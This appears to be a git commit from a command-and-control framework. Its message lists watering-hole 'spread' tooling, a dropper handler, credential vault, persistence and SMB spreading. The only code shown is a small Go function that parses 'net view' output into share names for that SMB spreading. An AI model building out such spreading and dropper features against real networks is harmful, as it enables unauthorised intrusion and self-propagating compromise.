feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/deploy/smb_shares_common.go

@@ -0,0 +1,26 @@
+package deploy
+
+import "strings"
+
+func parseNetViewShares(text string) []string {
+	var shares []string
+	for _, line := range strings.Split(text, "\n") {
+		line = strings.TrimSpace(line)
+		if line == "" ||
+			strings.HasPrefix(line, "Share name") ||
+			strings.HasPrefix(line, "-----") ||
+			strings.HasPrefix(line, "The command completed") {
+			continue
+		}
+		fields := strings.Fields(line)
+		if len(fields) == 0 {
+			continue
+		}
+		name := fields[0]
+		if strings.EqualFold(name, "System") && len(fields) > 1 {
+			continue
+		}
+		shares = append(shares, name)
+	}
+	return shares
+}